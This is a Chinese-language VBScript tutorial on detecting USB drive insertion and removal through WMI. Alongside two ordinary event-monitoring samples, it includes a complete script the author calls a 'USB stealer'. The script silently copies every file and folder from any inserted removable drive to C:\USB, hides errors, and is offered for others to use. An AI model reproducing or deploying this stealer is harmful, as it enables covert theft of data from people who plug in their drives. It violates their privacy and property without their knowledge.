怎么用VBS檢測(cè)U盤插入與彈出事件

這篇文章主要介紹怎么用VBS檢測(cè)U盤插入與彈出事件，文中介紹的非常詳細(xì)，具有一定的參考價(jià)值，感興趣的小伙伴們一定要看完！

可以說(shuō)，對(duì)WMI的掌握程度的多少直接決定了你的VBS水平高低?？催^(guò)網(wǎng)上普遍流傳VBS版U盤小偷程序，基本上都是靠無(wú)限循環(huán)實(shí)現(xiàn)的，一點(diǎn)技術(shù)含量也沒(méi)有，文章的末尾給出了我寫的VBS版U盤小偷程序的下載地址。雖然用WMI也得無(wú)限循環(huán)，但是效率是不一樣的。

使用WMI的Win32_VolumeChangeEvent類就可以實(shí)現(xiàn)，下面是示例代碼

Const Configuration_Changed = 1
Const Device_Arrival = 2
Const Device_Removal = 3
Const Docking = 4
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& strComputer & "\root\cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
WScript.Echo "U盤插入，盤符為" & _
objLatestEvent.DriveName
Case Device_Removal
WScript.Echo "U盤彈出，盤符為" & _
objLatestEvent.DriveName
End Select
Loop

我也寫了一個(gè)U盤小偷程序，自以為比網(wǎng)上抄來(lái)抄去的代碼要好，感興趣的可以下載來(lái)看看。

代碼如下:

'==========================================
'Name : USB_Stealer
'Date : 2010/5/25
'Author : Demon
'Copyright : Copyright (c) 2010 Demon
'E-Mail : still.demon@gmail.com
'QQ : 380401911
'Website : http://demon.tw
'==========================================
'Option Explicit
On Error Resume Next
Const Target_Folder = "C:\USB"

Call Main()

Sub Main()
On Error Resume Next
Const Device_Arrival = 2
Const Device_Removal = 3
Const strComputer = "."
Dim objWMIService, colMonitoredEvents, objLatestEvent

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& strComputer & "\root\cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
Copy_File objLatestEvent.DriveName
End Select
Loop
End Sub

Sub Copy_File(Folder_Path)
On Error Resume Next
Dim fso,file,folder
Set fso = CreateObject("scripting.filesystemobject")

If Not fso.FolderExists(Target_Folder) Then
fso.CreateFolder(Target_Folder)
End If

For Each file In fso.GetFolder(Folder_Path).Files
file.Copy Target_Folder & "\" & file.Name,True
Next

For Each folder In fso.GetFolder(Folder_Path).SubFolders
folder.Copy Target_Folder & "\" & folder.Name,True
Next
End Sub

鑒于很多人反映之前寫的那篇在XP下無(wú)效，做了一下修改。說(shuō)是修改，其實(shí)是直接復(fù)制粘貼腳本專家的代碼。

復(fù)制代碼 代碼如下:

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set colEvents = objWMIService.ExecNotificationQuery _
("Select * From __InstanceOperationEvent Within 10 Where " _
& "TargetInstance isa 'Win32_LogicalDisk'")

Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 2 Then
Select Case objEvent.Path_.Class
Case "__InstanceCreationEvent"
Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _
" has been added."
Case "__InstanceDeletionEvent"
Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _
" has been removed."
End Select
End If
Loop

以上是“怎么用VBS檢測(cè)U盤插入與彈出事件”這篇文章的所有內(nèi)容，感謝各位的閱讀！希望分享的內(nèi)容對(duì)大家有幫助，更多相關(guān)知識(shí)，歡迎關(guān)注億速云行業(yè)資訊頻道！